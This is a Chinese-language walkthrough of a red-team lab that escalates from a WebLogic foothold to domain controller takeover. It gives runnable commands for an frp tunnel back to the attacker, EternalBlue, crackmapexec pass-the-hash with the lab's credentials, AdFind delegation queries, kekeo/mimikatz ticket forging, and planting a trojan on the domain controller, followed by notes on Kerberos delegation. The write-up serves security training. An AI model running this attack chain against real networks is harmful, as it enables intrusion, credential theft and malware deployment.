一、环境搭建

攻击机：(kali)192.168.40.20
web：192.168.40.34 10.10.20.12 启动C盘weblogic服务
win7：10.10.20.7 10.10.10.7
sqlserver：10.10.10.18
dc：10.10.10.8
靶机下载

二、打点

2.1 探测服务

nmap -Pn -sT -sV -A -p- 192.168.40.34

发现weblogic服务和WinRM
WinRM服务渗透
crackmapexec winrm 192.168.40.34 -u ./administrator -p /usr/share/wordlists/password.txt 爆破无果，字典不行
weblogic服务

命令执行成功

2.2 上线CS

生成powershell上线

2.3 信息收集

发现另一张网卡

上传fscan扫描一下内网端主机
shell C:\Windows\Temp\fscan64.exe -h 10.10.20.0/24
发现另外一台主机10.10.20.7存在ms17-010漏洞

2.4 隧道搭建

使用frp搭建，上传并运行

服务端配置
[common]
bind_port = 7000
客户端配置
[common]
server_addr = 192.168.40.20
server_port = 7000

[plugin_socks5]
type = tcp
remote_port = 7777
plugin = socks5

shell C:\Windows\Temp\frpc.exe -c C:\Windows\Temp\frpc.ini
服务端收到连接请求

三、横向移动

3.1 代理隧道打永恒之蓝

msf
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp 
因为是隧道代理所以需要正向
set rhost 10.10.20.7
setg proxies socks5:192.168.40.20:7777  设置全局代理
run

成功拿下，CS生成一个正向的shell

通过MSF上传到目标机器运行，weblogbic权限机器去连接

upload /root/1.exe c:/windows/temp 上传文件
execute -f c:/windows/temp/1.exe 执行文件
connect 10.10.20.7 1234 连接目标机器

3.2 信息收集

抓到凭据

且属于域环境，域网卡IP段为10.10.10.0/24

查询域内信息
shell net user /domain
shell net group "domain controllers" /domain
定位域控
net time /domain
shell ping owa.redteam.red
域内主机存活如下

3.3 CS建立Socks隧道，PTH喷射

利用收集到的凭据尝试本地或域用户登录
python .\cme smb 10.10.10.18 -u administrator -p "admin!@#45"
python .\cme smb 10.10.10.18 -u administrator -H "ccef208c6485269c20db2cad21734fe7" --local-auth
成功连接到sqlserver

成功拿下sqlserver

到此，域控无法进行攻击，口令和hash都行不同

3.4 在sqlserver收集信息

shell setspn -q */* SPN服务扫描

可被利用的sqlserver已经拿下了
上传ADfind探测是否有委派服务

3.5 探测非约束性委派

查询域内设置了非约束委派的服务账户：
shell AdFind -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

无法利用
查询域内设置了非约束委派的机器账户:
shell AdFind -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
有一个sqlserver的，已经拿下

但是非约束性委派需要钓鱼或者集合打印机，还是无法利用
详细参考

3.6 探测约束性委派

查询机器用户（主机）配置约束委派
shell AdFind -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

查询服务账户（主机）配置约束委派
shell AdFind -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

上传kekeo，利用

3.7 约束性委派

利用当前用户请求该用户的 TGT
shell kekeo "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" "exit"
利用用户票据获取域机器的 ST
shell kekeo "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" "exit"

导入票据
mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

连接域控
shell dir \\owa.redteam.red\c$

需要不断导入不断执行，会失效
生成转发上线木马或者正向都可
复制木马到域控
copy 2.exe \\owa.redteam.red\c$
定时执行
shell at \\owa.redteam.red 17:22 c:\2.exe

读取flag
shell dir \\owa.redteam.red\c$\users\administrator\desktop
shell type \\owa.redteam.red\c$\users\administrator\desktop\flag.txt

拿下域控

四、总结

4.1 非约束性委派

当某个域内用户user1访问到开启了非约束委派的服务时，该服务可以获取user1用户的 TGT ，并将该TGT 缓存到LSASS进程中，从而服务账号可使用该TGT，模拟user1用户去访问任意服务(前提得是user1能访问到的服务)

在 Windows 系统中，只有服务账号和主机账号的属性才有委派功能，普通用户默认是没有的！

正常的通信过程

用户机器向KDC请求可转发的TGT1
KDC在消息中给返回TGT1（访问服务1使用）
用户通过TGT1请求转发TGT2（访问服务2使用）
KDC返回消息TGT2
用户使用TGT1向KDC申请访问服务1
TGS 返回 ST 给用户
用户发送AP_REQ请求服务1，包含了TGT1、TGT2、TGT2的sessionkey
服务1使用用户发送过来的TGT2去请求KDC，并以用户的身份请求服务2的ST
KDC返回服务2的ST给服务1（这里ST将来源请求标记为用户机器，而不是服务1）
服务1以用户的名义请求服务2
服务2回应服务1请求
服务1回应用户机器请求
但是服务1可以拿着用户的凭据TGT2申请ST票据从而利用用户的身份
服务1能够向KDC请求其他服务ST
KDC返回其他服务ST
服务1以用户名义请求其他服务
其他服务回应服务1

4.2 约束性委派

由于非约束性委派的不安全性，微软在 Windows Server 2003中发布了约束性委派

约束性委派的分类

仅使用Kerberos
使用任何身份验证协议

约束性委派的流程
微软对Kerberos协议扩展了两个自协议：

S4u2Self（Service for User to Self）和 S4u2Proxy（Service for User to Proxy）
S4u2Self可以代表任意用户请求针对自身的ST；
S4uProxy可以以用户的名义请求针对其他指定服务的ST
S4U2self：
当服务账户开启了约束性委派时，那么该服务就可以代表访问到该服务的用户请求针对其自身的服务票据(ST)，也就是说当user1访问到了服务1，服务1以s4u2self的方式向KDC请求一张可以以user1身份访问自身服务1的、可用于转发的票据，实际还是访问的服务1，但是借助了user1的身份，目的就是拿到user1的授权数据，如果user1是以其他认证方式对服务1进行认证的（web、ntlm等），是获取不到访问服务1自身的st票据的，所以s4u2self就是用来解决这个问题的。
S4U2proxy：
服务1可以以用户的名义请求其它服务的ST，和self最大的区别就是self是请求自身服务，当需要以user1的身份访问其他服务，就需要s4u2proxy上场了，而约束委派就是限制了S4U2proxy扩展的访问范围